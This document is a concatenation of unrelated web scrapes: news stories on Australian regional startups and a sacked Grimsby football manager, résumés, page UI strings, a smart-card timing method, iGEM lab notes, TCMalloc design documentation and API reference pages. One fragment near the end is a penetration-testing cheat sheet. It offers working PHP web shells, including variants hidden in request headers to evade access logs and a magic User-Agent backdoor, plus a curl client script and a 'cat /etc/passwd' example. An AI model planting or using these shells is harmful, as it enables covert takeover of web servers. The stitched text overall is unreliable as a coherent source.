Encouraging tree changes: Regional startups call for capital
by Emma KoehnTargeted funding and support for regional startups would help drive investment across Australia's economy, an inquiry into exports and investment has been told, as business owners outside major cities call for funding.
The Australian Investment Council has argued in its submission to an inquiry on supporting Australia's exports and attracting investment that a regional innovation fund should be established to help attract investment in growing areas like agribusiness.
The council, which represents Australia's private market investors, said a focus on businesses outside of major cities would also help bring high-quality talent to these areas.
"There are lots of skilled participants in our workforce that would relish the opportunity to relocate for regional locations' lifestyle opportunities," chief executive Yasser El-Ansary said.
Founder of Armidale business Zondii, Danielle Morton, said a regionally-focused fund would "absolutely" help grow globally-focused businesses based in regional areas.
Ms Morton has so far invested $200,000 in personal savings to launch Zondii, a platform for connecting users to producers so they can directly buy fresh food from their region. She is in the process of expanding the business and sees potential for growth in overseas markets.
Ms Morton is currently working on a funding round for Zondii but said the search for capital has taken her back to capital cities, where most investors are located. She said regionally-focused funding would be a win for communities.
"It would encourage people like me to do tree changes... and people from the regions are already incredibly innovative."
Ms Morton suggested policymakers consider more support programs that are tied directly to regional incubators to ensure that investment flowing into these businesses stays in regional areas.
The parliamentary inquiry has received more than 40 submissions from policymakers, businesses and industry groups about the barriers to growing strong export businesses across Australia's economy.
A number of the submissions pointed to difficulties smaller operators face in attracting talent and knowledge around how to export to new markets.
Founder of remote jobs recruitment firm Pointer Remote Roles, Jo Palmer, said regional operators struggled to invest in and attract talent. This was less because of a shortage of candidates across Australia and more because businesses did not know how to leverage those candidates, she said.
"I feel rural businesses [are] facing a challenge because they don’t know how to access the skills and use them remotely," she said.
There are employees willing to work in regional startups and many are interested in doing this online from other locations, Ms Palmer said.
"The thing is, we're not utilising the skills already here... activate the people who are already here," she said.
The inquiry will continue into next year, with hearings resuming this Friday. A separate review of regional Australia is also underway to look at the competitive advantages of regional businesses.
The federal government already has a number of business capital projects underway, including the business growth fund and business securitisation fund.
Several of its most recent accelerating commercialisation grants, announced last week, went to regionally-focused agribusinesses, including livestock tracker ear tag business Ceres, which secured $700,000 in funding.


Grimsby manager Michael Jolley sacked after explicit rant at journalists
Grimsby manager Michael Jolley was sacked after an explicit rant at two journalists, it has been revealed.
The 42-year-old manager was fired by the League Two side on Friday, which is said to have been “following a recent run of poor results”.
But the Daily Mail report that club officials, including majority shareholder John Fenty were left shocked by Jolley’s rant at BBC Humberside journalists Matt Dean and John Tondeur.
Stream live coverage of La Liga, Bundesliga, Serie A, Ligue 1 and the EFL Championship with beIN SPORTS on KAYO. Get your 14 day free trial & start streaming instantly >
It followed from a 4-0 home defeat by Leyton Orient last month, with Jolley slamming Humberside’s coverage of Grimsby.
The now sacked manager personally targets Dean and Tondeur, saying the f-word 58 times in the four minute 12 second clip.

“Every time you interview me you’re antagonistic, confrontational, who do you think you are, Jeremy Paxman?
 The f***ing radio station gives us f***ing no positive coverage whatsoever.”
MORE FOOTBALL NEWS
RUMOURS: Utd name eight-man transfer shortlist worth $787m
REVEALED: Record crowd gives Sam Kerr a taste of what she’s in for
ROBBIE’S NOT HAPPY: Roar boss Fowler fired up over Olyroos selection confusion
Jolley leaves Grimsby 18th in League Two with just five wins in 15 games.
But he attempted to address the club’s performance this season, after Tondeur said he believed “Town fans have seen some progress”.
Jolley said: “We were f***ing 10th going into today, mate. Near the f***ing play-offs and have you seen our f***ing budget?
“Have you seen our budget. Do you know where we f***ing should be?”
SELL POGBA, SIGN THESE THREE: How Manchester United could line up after $200m spending spree
It is claimed some of the first-team players were left baffled by Jolley’s rant, with many of them having enjoyed a good relationship with long-serving commentator Tondeur.
Jolley’s assistant, Anthony Limbrick, will take charge of his first game as interim manager against Newport in an FA Cup first round replay on Wednesday.
This story originally appeared in The Sun and was reproduced with permission.


Having 3 years of experience in Information Technology sector with extensive experience in Responsive web design and UI functionality development & Enhancement. Expertise in JavaScript and Development experience in various JavaScript frameworks. Knowledge on Responsive Web Design (RWD) using Twitter Bootstrap and CSS media queries. Ability to learn new technologies quickly, Strong analytical & problem-solving skills and Good Interpersonal skills.
“It is like a voyage of discovery into unknown lands, seeking not for new territory but for new knowledge. It should appeal to those with a good sense of adventure.”
- Frederick Sanger
“Experience is the teacher of all things.”
- Julius Caesar
Infosys Techonologies
Aug 2012 - CurrentKellogg’s Kourier
Retail Activity Management ApplicationSunTrust Online Banking Project
Online banking application modernisationWestpac Solution Online Project
Customer engagement application modernisation


Melody Maestro Kantabilon:
How can you call yourself an Adventurer if you can't even get these crystals?


Unsupervised Cancer Detection
Home
Heatmap
Select Dataset:
Select Slide:
Available Slides:
Mouse Pos:
(
,
)
Top 12 Centroids

Updating samples
Please wait while new samples are selected
Reloading samples
Please wait while new samples are reloaded
Saving Training Set
Please wait while training set is saved
Cancel Current Session
Please wait while current session is canceled


Measure time (ms) of selected operation running on card (e.g., AESKey.setKey()). Problem: Selected operation cannot be measured directly (e.g., elapsed = timeEnd - timeStart) because of missing on-card timer and protected environment of smart card (no possibility to time start and end of operation inside surrounding code). As a result, one can only measure overall time between send of input data that will trigger operation (PC/SC SCardTransmit()) on host system.
Time necessary to perform whole logical cryptographic operation on-card (e.g., transmit X bytes of data to card, encrypt it by AES and transmit back result) [FULL_OP].
Some operations can be measured without additional preparation of target object (e.g., AESKey.setKey()). Target method call is then iterated on-card according to TEST_SETTINGS.numRepeatWholeOperation to suppress of significance of overhead (apdu transmission etc.) on measurement
Additionally, target operation usually takes only small fraction of measurement with majority taken by operations we like to exclude from measurement (~one ms vs. ~tens of ms). Situation is additionally worsen by possible non-determistic time fluctuations on a host side.
Note: Measurement fluctuations on host side can be mitigated if simpler host architecture is available (e.g., microcontroller-based card reader).
Note: Very precise measurement of elapsed time can be obtained from a power trace, if start and end of selected operation can be identified. Such a measurement requires access to setup with osciloscope and significant time for identification of target operation. We verified selected operation using this method.
Note: Some operations cannot be meaningfully measured without additional operation executed together (e.g., setKey before target operation Cipher.init). We measure both operations together and then substract time for additional operation.
Note: We intentionally did not exclude outlayer measurements as it may contain interesting information regarding non-deterministic behaviour of a card
Listed segments show all parts of performance test execution. Part 5 executes target operation we want to measure (green). Since we are not able to perform this execution directly, by subtracting the time of execution of all operations in the left column from all operations in the right column, we gain quite an accurate operation run time. The subtracted time consists of host PC processing (yellow), data transmission between host PC and a card (yellow-blue) and smart card processing (blue).


index
|
up
|
prev
|
next
PositiveParser Class
Definition at line
31
of
Composite.hpp
Constructors
PositiveParser
(
Parser
* child_)
Member Functions
void
Accept
(
Visitor
& visitor)
override
Match
Parse
(
Scanner
& scanner,
ObjectStack
& stack,
ParsingData
* parsingData)
override
Constructor Details
PositiveParser Constructor
cmajor::parsing::PositiveParser::PositiveParser(
Parser
* child_)
Definition at line
41
of
Composite.cpp
:
41
:
UnaryParser
(
U"positive"
,
child_
,
child_
->
Info
(
)
+
U"+"
)
42
{
43
}
Declaration at line
34
of
Composite.hpp
Member Function Details
Accept Member Function
void
cmajor::parsing::PositiveParser::Accept(
Visitor
& visitor)
override
Definition at line
69
of
Composite.cpp
:
70
{
71
visitor
.
BeginVisit
(
*
this
)
;
72
Child
(
)
->
Accept
(
visitor
)
;
73
visitor
.
EndVisit
(
*
this
)
;
74
}
Declaration at line
36
of
Composite.hpp
Base class overridden functions:
cmajor::parsing::ParsingObject::Accept
Calls:
cmajor::parsing::ParsingObject::Accept
,
cmajor::parsing::UnaryParser::Child
,
cmajor::parsing::Visitor::BeginVisit
,
cmajor::parsing::Visitor::EndVisit
Parse Member Function
Match
cmajor::parsing::PositiveParser::Parse(
Scanner
& scanner,
ObjectStack
& stack,
ParsingData
* parsingData)
override
Definition at line
45
of
Composite.cpp
Declaration at line
35
of
Composite.hpp
Base class overridden functions:
cmajor::parsing::Parser::Parse
Calls:
cmajor::parsing::Match::Concatenate
,
cmajor::parsing::Match::Hit
,
cmajor::parsing::Parser::Parse
,
cmajor::parsing::Scanner::GetSpan
,
cmajor::parsing::Scanner::SetSpan
,
cmajor::parsing::Scanner::Skip
,
cmajor::parsing::UnaryParser::Child
index
|
up
|
prev
|
next


I am a self-motivated and passionate graduate student with diverse technical skills, excellent problem solving and programming skills, solid background in algorithm design and analysis. Not only I enjoy coding and learning new technology, but I'm also a good team player with excellent communication skills, and the ability to work under high pressure.
| HTML/CSS |
|
| Java/JSP/Spring |
|
| JavaScript/JQuery |
|
| Bootstrap |
|
| MySQL/H2 |
|
| Git |
|
| C#/.NET |
|
| AngularJS |
|
| Adobe Photoshop |
|
| Amazon AWS |
|
Master of Engineering in Electrical and Computer Engineering
GPA: 3.6/4.0
Bachelor of Science in Electrical Engineering and Automation
GPA: 3.8/4.0
Built and refined responsive website templates using HTML, CSS, JavaScript and jQuery
Tested website for cross-browser compatibility; assisted in graphic design using Adobe Photoshop
Developed dynamic and responsive website that ensured good user experience with senior frontend engineers in a team of 4
Fixed bugs from existing websites and implemented enhancements that improved web functionality and speed
Java Spring Bootstrap
Developed backend functions including inventory management, customer registration and checkout flow
Implemented a responsive frontend interface using HTML, CSS, Bootstrap and jQuery DataTables
Developed shopping cart controller with AngularJS to integrate CRUD functions and consume other RESTful services
Persisted relational model data into H2 Database using Hibernate ORM and integrated Spring Security for user credentials validation
Java JSP AWS
Developed the backend consuming Twitter stream and implemented a MySQL database instance with Amazon Relational Database Service
Built the frontend in JSP with Google Maps JavaScript API that enables users to visualize or track recent twitter trend based on geolocation or keyword
Deployed the application in Elastic Beanstalk and utilized Eclipse AWS Toolkit for easier access and administration
C# ASP.NET
Developed a service-oriented application to simulate the work flow of an online bookstore
Deployed WCF/RESTful services including output caching service, DB data caching service, shopping-cart/catalog-box management service and XML read-write service
Implemented the GUI for the application and designed Image Verifier Service for secure login
HTML CSS JQuery
Implemented a video search web app with YouTube Data API where user can search video and watch video contents
Developed front end view in HTML, CSS, JavaScript; attached jQuery fancyBox tool for displaying videos


Sketching with Math and Quasi Physics
Index
Handy Math
Taming Randomness
Hello Isaac
Distance and Shape
Geometric Drawings
Mechanical Movement
Wave Anatomy
Pitch and Frequency
Easing
Detecting Collision
Path of Light
Building Ragdolls


{{label.message.inProgress}}
You must have JavaScript enabled to use this site.
Are you sure you want to return
to your dashboard?
Cancel
Yes
Your browser is not supported
Please download and install one of the supported browsers listed below.
Are you in a computer lab? Get help from an administrator
Internet Explorer version 10 or above
Chrome
Safari
Firefox
OK
Something not right?
If something is broken on the screen, tell us about it and click Send. If you do not understand the question and need help, ask your teacher.
What is wrong?
Choose One
Comments
Cancel
Send
Turn tablet on its side
GET Waggle works best when viewed horizontally (on its side).
Don't show me this message again.
OK
OK
in a row
OK!
OK!
OK!
{{label.ams.tryAgain.popUp}}
OK!
OK!
Your response has been submitted.
Once your teacher has graded it, you can continue with this goal.
OK!
{{label.popup.sessionTimeoutPopup}}
Continue
OK
OK
Code : @#@
Close


|
Fig. 1
|
Elevation map of the study area, Jeonnam province in Korea. ... |
|
Fig. 2
|
Integrated modeling workflow using three models in the study ... |
|
Fig. 3
|
Climatic suitability maps for kiwifruit cultivation under th ... |
|
Fig. 4
|
Simulated severity of KBB compared to observed severity in 2 ... |
|
Fig. 5
|
Potential epidemic risks of KBB in areas of Jeonnam province ... |
|
Fig. 6
|
Predicted changes in severe epidemics of kiwifruit blossom b ... |


This inspection searches for redundant method parameters that can be replaced with local variables.
If all local usages of a parameter are preceded by assignments to that parameter, the
parameter can be removed and its usages replaced with local variables.


But why are wildfires happening? Data had the answer yet again: most wildfires were caused due to burning debris, who would have thought?
After observing the chart, we can see that the wildfires because of lightning were less than those due to debris burning. This is what surprised us, so we wanted to determine not the cause for the most wildfires, but the cause for the largest wildfires. Turns out, although burning debris caused the most wildfires, it mostly caused really small fires. Lightning, however, was the cause for the largest wildfires! This is, unfortunately, not something that humans can control. Other causes, such as power line failures, equipment use, campfires etc., however, can and should definitely be controlled.


Our part collection offers a complete array of parts for future researchers to develop other probiotic secreted proteins/peptides.
Updated on 2020-11-22: we were nominated for the Best Part Collection prize.
In the collection, we have secreted mcbABCD to help its colonization in the gut, and secreted CaAP to facilitate calcium uptake by gut cells. We test all parts used in these two circles: 5 signal peptide for secretion, 14 promoters for different strength expression (previously publish and available in addgene.org but not in the Registry), IPTG inducible promoter driven various protein coding sequences (confirmed individually before assembled together), and quorum-sensing components. A file contains those parts could be downloaded (updated on 2020-10-27).
We not only provide sequences and references for the parts, but also experimental results and procedures /Team:Fudan/Experiments. We compete for both the Gold Medal criterion #7 and the Best Part Collection prize with this page.
Five signal peptide for secretion
We have constructed plasmids using CaAP or MBP (Maltose Binding Protein, a protein that is expressed in the cytoplasm of E. coli) with five signal peptides (CaAP fused with signal peptides: BBa_K3606031~BBa_K3606035; MBP fused: BBa_K3606037~BBa_K3606041). We have quickly test several of them: the total production and relative amount being secreted. We show that OmpA, one of our signal peptides, could lead MBP to secret. Our results consist with the literature that for a specfic protein all possible signal peptides should be test for best results.
Figure 1. TCA precipated culture media (lane 8/with 9/no IPTG OmpA-MBP)
Lane 8 and 9, bacteria DH5a with OmpA-MBP, culture to OD 0.6 and induced with 1mM IPTG for 6 hours. Then, the culture media was collected and precipated with TCA. Samples were run on 17% SDS-PAGE. Lane 1, aprotinin 6.5 kDa; Lane 10, pMAL-c2g induced with same IPTG to show the size of cytoplasmic MBP.
Figure 2. IPTG induced signal peptide fused CaAP
When wiki freeze, we do NOT have Plac driven PhoA-CaAP.
Bacteria DH5a w/ pGEX-6P1, culture to OD 0.6; (lane 5) was induced with 1mM IPTG for 6 hours. Then, the bacteria whole-cell samples were run on 17% SDS-PAGE. Lane 1, aprotinin 6.5 kDa.
14 promoters for different strength expression
Figure 3. Bacteria with P1-P14 driven RFP incubated in 3mL medium for 12h
Figure 4. Bacteria with P1-P14 driven RFP incubated in 3mL medium for 24h
Figure 5. Ni-NTA bound CaAP
Red dot, aprotinin 6.5 kDa, 16% SDS-PAGE. Lane 1, P3 driven CaAP; Lane 2, P4 driven CaAP; Lane 3, P5 driven CaAP; Lane 4, P6 driven CaAP; Lane 5, P7 driven CaAP; Lane 6, P8 driven CaAP; Lane 7, pGEX-6P1 (no 6xHis); Lane 8, P11 driven CaAP; Lane 9, P12 driven CaAP. For each sample, 3 OD (2 ml) bacteria were sonicated to lysis. And, 50 uL Ni-NTA beads (50% slurry) were mixed with cleared lysate for binding. Beads were washed in Buffer A, and then half of the beads were boiled in 100 uL with 1x SDS sample buffer, 10 uL was loaded to the lane.
Using obtained P1-P14 driven RFP, we have constructed constructs expressing CaAP with 14 promoters for different strength expression (BBa_K3606045~BBa_K3606057). Those bacteria were grew to OD 1.5, broken up, and Ni-NTA beads were added into cleared lysate. A quick pull-down show clear bands of protein on the gel, which were bound to Ni-NTA beads, very likely are CaAP!
IPTG inducible promoter driven mcbABCDEFG
First, to affirm the system could work properly, we started from the very beginning by testing the expression of each gene in the cluster as well as of the polycistrons in each part. We constructed 10 plasmids (with pGEX backbone adapted to perform high level of expression), containing mcbA/ mcbB/ mcbC/ mcbD/ mcbE/ mcbF/ mcbG/ mcbABCD/ mcbBCD/ mcbBC respectively, transformed them into E. coli BL21, then induced with IPTG. We confirmed that every part can express successfully due to the correct bands on the SDS-PAGE electrophoresis gel maps.
Figure 6. IPTG induced mcbE mcbF
Red dot, aprotinin 6.5 kDa; lane 2 vs 1, mcbE induced by IPTG; lane 4 vs 3, mcbF induced by IPTG; lane 6 vs 5, GST induced by IPTG. Bacteria were grown to OD 0.6, induced with or without 1 mM IPTG for 5 hours. Whole-cell samples were run. Yellow dots were placed to show induced bands in lane 2,4,6.
When wiki freeze, we do NOT have Plac driven mcbG.
2020 Team Fudan parts at parts.igem.org, including:


{% extends 'om/base.html' %} {% load static %} {% block content %}
Please enter your e-mail address to reset your password.


{% from "components/big-number.html" import big_number %} {% extends "withnav_template.html" %} {% block page_title %} Usage – GOV.UK Notify {% endblock %} {% block maincolumn_content %}
What counts as 1 text message?
See pricing.


TCMalloc is faster than the glibc 2.3 malloc (available as a separate library called ptmalloc2) and other mallocs that I have tested. ptmalloc2 takes approximately 300 nanoseconds to execute a malloc/free pair on a 2.8 GHz P4 (for small objects). The TCMalloc implementation takes approximately 50 nanoseconds for the same operation pair. Speed is important for a malloc implementation because if malloc is not fast enough, application writers are inclined to write their own custom free lists on top of malloc. This can lead to extra complexity, and more memory usage unless the application writer is very careful to appropriately size the free lists and scavenge idle objects out of the free list.
TCMalloc also reduces lock contention for multi-threaded programs. For small objects, there is virtually zero contention. For large objects, TCMalloc tries to use fine grained and efficient spinlocks. ptmalloc2 also reduces lock contention by using per-thread arenas but there is a big problem with ptmalloc2's use of per-thread arenas. In ptmalloc2 memory can never move from one arena to another. This can lead to huge amounts of wasted space. For example, in one Google application, the first phase would allocate approximately 300MB of memory for its URL canonicalization data structures. When the first phase finished, a second phase would be started in the same address space. If this second phase was assigned a different arena than the one used by the first phase, this phase would not reuse any of the memory left after the first phase and would add another 300MB to the address space. Similar memory blowup problems were also noticed in other applications.
Another benefit of TCMalloc is space-efficient representation of
small objects. For example, N 8-byte objects can be allocated while
using space approximately 8N * 1.01
bytes. I.e., a
one-percent space overhead. ptmalloc2 uses a four-byte header for
each object and (I think) rounds up the size to a multiple of 8 bytes
and ends up using 16N
bytes.
To use TCMalloc, just link TCMalloc into your application via the "-ltcmalloc" linker flag.
You can use TCMalloc in applications you didn't compile yourself, by using LD_PRELOAD:
$ LD_PRELOAD="/usr/lib/libtcmalloc.so"
LD_PRELOAD is tricky, and we don't necessarily recommend this mode of usage.
TCMalloc includes a heap checker and heap profiler as well.
If you'd rather link in a version of TCMalloc that does not include
the heap profiler and checker (perhaps to reduce binary size for a
static binary), you can link in libtcmalloc_minimal
instead.
TCMalloc assigns each thread a thread-local cache. Small allocations are satisfied from the thread-local cache. Objects are moved from central data structures into a thread-local cache as needed, and periodic garbage collections are used to migrate memory back from a thread-local cache into the central data structures.
TCMalloc treats objects with size <= 32K ("small" objects) differently from larger objects. Large objects are allocated directly from the central heap using a page-level allocator (a page is a 4K aligned region of memory). I.e., a large object is always page-aligned and occupies an integral number of pages.
A run of pages can be carved up into a sequence of small objects, each equally sized. For example a run of one page (4K) can be carved up into 32 objects of size 128 bytes each.
Each small object size maps to one of approximately 170 allocatable size-classes. For example, all allocations in the range 961 to 1024 bytes are rounded up to 1024. The size-classes are spaced so that small sizes are separated by 8 bytes, larger sizes by 16 bytes, even larger sizes by 32 bytes, and so forth. The maximal spacing (for sizes >= ~2K) is 256 bytes.
A thread cache contains a singly linked list of free objects per size-class.
When allocating a small object: (1) We map its size to the corresponding size-class. (2) Look in the corresponding free list in the thread cache for the current thread. (3) If the free list is not empty, we remove the first object from the list and return it. When following this fast path, TCMalloc acquires no locks at all. This helps speed-up allocation significantly because a lock/unlock pair takes approximately 100 nanoseconds on a 2.8 GHz Xeon.
If the free list is empty: (1) We fetch a bunch of objects from a central free list for this size-class (the central free list is shared by all threads). (2) Place them in the thread-local free list. (3) Return one of the newly fetched objects to the applications.
If the central free list is also empty: (1) We allocate a run of pages from the central page allocator. (2) Split the run into a set of objects of this size-class. (3) Place the new objects on the central free list. (4) As before, move some of these objects to the thread-local free list.
A large object size (> 32K) is rounded up to a page size (4K)
and is handled by a central page heap. The central page heap is again
an array of free lists. For i < 256
, the
k
th entry is a free list of runs that consist of
k
pages. The 256
th entry is a free list of
runs that have length >= 256
pages:
An allocation for k
pages is satisfied by looking in
the k
th free list. If that free list is empty, we look
in the next free list, and so forth. Eventually, we look in the last
free list if necessary. If that fails, we fetch memory from the
system (using sbrk
, mmap
, or by mapping in
portions of /dev/mem
).
If an allocation for k
pages is satisfied by a run
of pages of length > k
, the remainder of the
run is re-inserted back into the appropriate free list in the
page heap.
The heap managed by TCMalloc consists of a set of pages. A run of
contiguous pages is represented by a Span
object. A span
can either be allocated, or free. If free, the span
is one of the entries in a page heap linked-list. If allocated, it is
either a large object that has been handed off to the application, or
a run of pages that have been split up into a sequence of small
objects. If split into small objects, the size-class of the objects
is recorded in the span.
A central array indexed by page number can be used to find the span to which a page belongs. For example, span a below occupies 2 pages, span b occupies 1 page, span c occupies 5 pages and span d occupies 3 pages.
In a 32-bit address space, the central array is represented by a a 2-level radix tree where the root contains 32 entries and each leaf contains 2^15 entries (a 32-bit address spave has 2^20 4K pages, and the first level of tree divides the 2^20 pages by 2^5). This leads to a starting memory usage of 128KB of space (2^15*4 bytes) for the central array, which seems acceptable.
On 64-bit machines, we use a 3-level radix tree.
When an object is deallocated, we compute its page number and look it up in the central array to find the corresponding span object. The span tells us whether or not the object is small, and its size-class if it is small. If the object is small, we insert it into the appropriate free list in the current thread's thread cache. If the thread cache now exceeds a predetermined size (2MB by default), we run a garbage collector that moves unused objects from the thread cache into central free lists.
If the object is large, the span tells us the range of pages covered
by the object. Suppose this range is [p,q]
. We also
lookup the spans for pages p-1
and q+1
. If
either of these neighboring spans are free, we coalesce them with the
[p,q]
span. The resulting span is inserted into the
appropriate free list in the page heap.
As mentioned before, we keep a central free list for each size-class. Each central free list is organized as a two-level data structure: a set of spans, and a linked list of free objects per span.
An object is allocated from a central free list by removing the first entry from the linked list of some span. (If all spans have empty linked lists, a suitably sized span is first allocated from the central page heap.)
An object is returned to a central free list by adding it to the linked list of its containing span. If the linked list length now equals the total number of small objects in the span, this span is now completely free and is returned to the page heap.
A thread cache is garbage collected when the combined size of all objects in the cache exceeds 2MB. The garbage collection threshold is automatically decreased as the number of threads increases so that we don't waste an inordinate amount of memory in a program with lots of threads.
We walk over all free lists in the cache and move some number of objects from the free list to the corresponding central list.
The number of objects to be moved from a free list is determined
using a per-list low-water-mark L
. L
records the minimum length of the list since the last garbage
collection. Note that we could have shortened the list by
L
objects at the last garbage collection without
requiring any extra accesses to the central list. We use this past
history as a predictor of future accesses and move L/2
objects from the thread cache free list to the corresponding central
free list. This algorithm has the nice property that if a thread
stops using a particular size, all objects of that size will quickly
move from the thread cache to the central free list where they can be
used by other threads.
The PTMalloc2 package (now part of glibc) contains a unittest
program t-test1.c
. This forks a number of threads and
performs a series of allocations and deallocations in each thread; the
threads do not communicate other than by synchronization in the memory
allocator.
t-test1
(included in
tests/tcmalloc/
, and compiled as
ptmalloc_unittest1
) was run with a varying numbers of
threads (1-20) and maximum allocation sizes (64 bytes -
32Kbytes). These tests were run on a 2.4GHz dual Xeon system with
hyper-threading enabled, using Linux glibc-2.3.2 from RedHat 9, with
one million operations per thread in each test. In each case, the test
was run once normally, and once with
LD_PRELOAD=libtcmalloc.so
.
The graphs below show the performance of TCMalloc vs PTMalloc2 for
several different metrics. Firstly, total operations (millions) per
elapsed second vs max allocation size, for varying numbers of
threads. The raw data used to generate these graphs (the output of the
time
utility) is available in
t-test1.times.txt
.
Next, operations (millions) per second of CPU time vs number of threads, for max allocation size 64 bytes - 128 Kbytes.
Here we see again that TCMalloc is both more consistent and more efficient than PTMalloc2. For max allocation sizes <32K, TCMalloc typically achieves ~2-2.5 million ops per second of CPU time with a large number of threads, whereas PTMalloc achieves generally 0.5-1 million ops per second of CPU time, with a lot of cases achieving much less than this figure. Above 32K max allocation size, TCMalloc drops to 1-1.5 million ops per second of CPU time, and PTMalloc drops almost to zero for large numbers of threads (i.e. with PTMalloc, lots of CPU time is being burned spinning waiting for locks in the heavily multi-threaded case).
You can more finely control the behavior of the tcmalloc via environment variables.
TCMALLOC_SAMPLE_PARAMETER |
default: 262147 |
Twice the approximate gap between sampling actions. That is, we
take one sample approximately once every
tcmalloc_sample_parmeter/2 bytes of allocation.
|
TCMALLOC_RELEASE_RATE |
default: 1 |
Rate at which we release unused memory to the system, via
madvise(MADV_DONTNEED) , on systems that support
it. Zero means we never release memory back to the system.
Increase this flag to return memory faster; decrease it
to return memory slower. Reasonable rates are in the
range [0,10].
|
TCMALLOC_LARGE_ALLOC_REPORT_THRESHOLD |
default:<PHONE_NUMBER> | Allocations larger than this value cause a stack trace to be dumped to stderr. The threshold for dumping stack traces is increased by a factor of 1.125 every time we print a message so that the threshold automatically goes up by a factor of ~1000 every 60 messages. This bounds the amount of extra logging generated by this flag. Default value of this flag is very large and therefore you should see no extra logging unless the flag is overridden. |
TCMALLOC_DEVMEM_START |
default: 0 |
Physical memory starting location in MB for /dev/mem
allocation. Setting this to 0 disables /dev/mem
allocation.
|
TCMALLOC_DEVMEM_LIMIT |
default: 0 |
Physical memory limit location in MB for /dev/mem
allocation. Setting this to 0 means no limit.
|
TCMALLOC_DEVMEM_DEVICE |
default: /dev/mem | Device to use for allocating unmanaged memory. |
TCMALLOC_SKIP_MMAP |
default: false |
If true, do not try to use mmap to obtain memory
from the kernel.
|
For some systems, TCMalloc may not work correctly on with
applications that aren't linked against libpthread.so
(or
the equivalent on your OS). It should work on Linux using glibc 2.3,
but other OS/libc combinations have not been tested.
TCMalloc may be somewhat more memory hungry than other mallocs, (but tends not to have the huge blowups that can happen with other mallocs). In particular, at startup TCMalloc allocates approximately 240KB of internal memory.
Don't try to load TCMalloc into a running binary (e.g., using JNI in Java programs). The binary will have allocated some objects using the system malloc, and may try to pass them to TCMalloc for deallocation. TCMalloc will not be able to handle such objects.


I'm Daren, a 4th year electrical engineering student at the University of Waterloo.
Here, you'll find my contact info, resume and a short gallery of my photography (hope you check that out!).
Currently, I'm looking for my Final (sixth) co-op opportunity in the fall 2018 term!


The .container-fluid class provides a full width container, spanning the entire width of the
viewport,
which also has a "shrink-to-fit=no", causing the page to don't shrink if the template
occasionally
have any gap.
It helps to easily change general theme.
As below:


Interesting, if you can inject php, set up a vulnerable variable (cmd in this case) to exploit in browser
website.com/vulnpage?cmd=<exec command>
<?php
$cmd = ($_REQUEST["cmd"]);
$outt = exec($cmd);
echo "<pre>$outt</pre>";
?>
same as: <?php system($_GET['cmd']); ?>
Alternate: <?php echo shell_exec($_GET['cmd'].' 2>&1'); ?> - <?php passthru($_GET['cmd']); ?>
See PHP > Code Exec Functions for other potential commands to use.
preferred if you want to be noisy: <?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>
Something more subtle would be:
<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?> <- nothing in access log! Edit Accept-Language header in web proxy
or <?php system($_SERVER['HTTP_USER_AGENT'])?>
Hide your shell from easily being used by other people:
<?php if($_SERVER['HTTP_USER_AGENT']=="evil1"){echo passthru($_GET['cmd']);} else{echo " "; ?>
No need to put function name in the shell:
<?php
// Send a POST request with variable '1' = 'system' and variable '2' = 'cat /etc/passwd'
$_=$_POST['1'];
$__=$_POST['2'];
//The following will now be equivalent to running -> system('cat /etc/passwd');
$_($__);
?>
SEC560 has more intricate system() shell
Simple bash script for CLI execution (there are others that are probably a lot better, or make your own)
#!/bin/bash
URL="http://x.x.x.x:yyyy/cmd_shell.php"
CMD=`echo ${*} | sed s'/ /%20/g'`
CMD=`echo ${CMD} | sed s'/&/%26/g'`
CMD=`echo ${CMD} | sed s'/>/%3e/g'`
echo ${URL}?cmd=${CMD}
curl -s ${URL}?cmd=${CMD}
echo ""
and execute it:
./cmd_inj ls -la


Class NotificationClient
Inherited Members
Namespace: System.Dynamic.ExpandoObject
Syntax
public class NotificationClient : ClientBase
Constructors
NotificationClient(Contract.IPictureparkServiceSettings, Http.HttpClient)
Declaration
public NotificationClient(Contract.IPictureparkServiceSettings configuration, Http.HttpClient httpClient)
Parameters
|
Picturepark.SDK.V1.Contract.IPictureparkServiceSettings
configuration
|
|
System.Net.Http.HttpClient
httpClient
|
Properties
JsonSerializerSettings
Declaration
protected Newtonsoft.Json.JsonSerializerSettings JsonSerializerSettings { get; }
Property Value
|
Newtonsoft.Json.JsonSerializerSettings
|
ReadResponseAsString
Declaration
public bool ReadResponseAsString { get; set; }
Property Value
|
System.Boolean
|
Methods
AggregateAsync(NotificationAggregationRequest, CancellationToken)
Aggregate on notifications
Declaration
public virtual async Task<ObjectAggregationResult> AggregateAsync(NotificationAggregationRequest request, CancellationToken cancellationToken = default(CancellationToken))
Parameters
|
NotificationAggregationRequest
request
Notification aggregation request |
|
System.Threading.CancellationToken
cancellationToken
A cancellation token that can be used by other objects or threads to receive notice of cancellation. |
Returns
|
System.Threading.Tasks.Task<ObjectAggregationResult>
Aggregation result |
GetAsync(String, CancellationToken)
Get notification
Declaration
public virtual async Task<Notification> GetAsync(string id, CancellationToken cancellationToken = default(CancellationToken))
Parameters
|
System.String
id
ID of notification |
|
System.Threading.CancellationToken
cancellationToken
A cancellation token that can be used by other objects or threads to receive notice of cancellation. |
Returns
|
System.Threading.Tasks.Task<Notification>
Notification |
GetAvailableNotificationTypesAsync(CancellationToken)
Get notification types available for email settings.
Declaration
public virtual async Task<IDictionary<string, ICollection<NotificationType>>> GetAvailableNotificationTypesAsync(CancellationToken cancellationToken = default(CancellationToken))
Parameters
|
System.Threading.CancellationToken
cancellationToken
A cancellation token that can be used by other objects or threads to receive notice of cancellation. |
Returns
|
System.Threading.Tasks.Task<System.Collections.Generic.IDictionary<System.String, System.Collections.Generic.ICollection<NotificationType>>>
|
GetEmailNotificationSettingsAsync(CancellationToken)
Get email notification settings
Declaration
public virtual async Task<EmailNotificationsSettings> GetEmailNotificationSettingsAsync(CancellationToken cancellationToken = default(CancellationToken))
Parameters
|
System.Threading.CancellationToken
cancellationToken
A cancellation token that can be used by other objects or threads to receive notice of cancellation. |
Returns
|
System.Threading.Tasks.Task<EmailNotificationsSettings>
Email notification settings |
MarkAllAsReadAsync(CancellationToken)
Mark all notifications as read
Declaration
public virtual async Task MarkAllAsReadAsync(CancellationToken cancellationToken = default(CancellationToken))
Parameters
|
System.Threading.CancellationToken
cancellationToken
A cancellation token that can be used by other objects or threads to receive notice of cancellation. |
Returns
|
System.Threading.Tasks.Task
|
MarkAsReadAsync(String, CancellationToken)
Mark notification as read
Declaration
public virtual async Task<Notification> MarkAsReadAsync(string id, CancellationToken cancellationToken = default(CancellationToken))
Parameters
|
System.String
id
ID of notification |
|
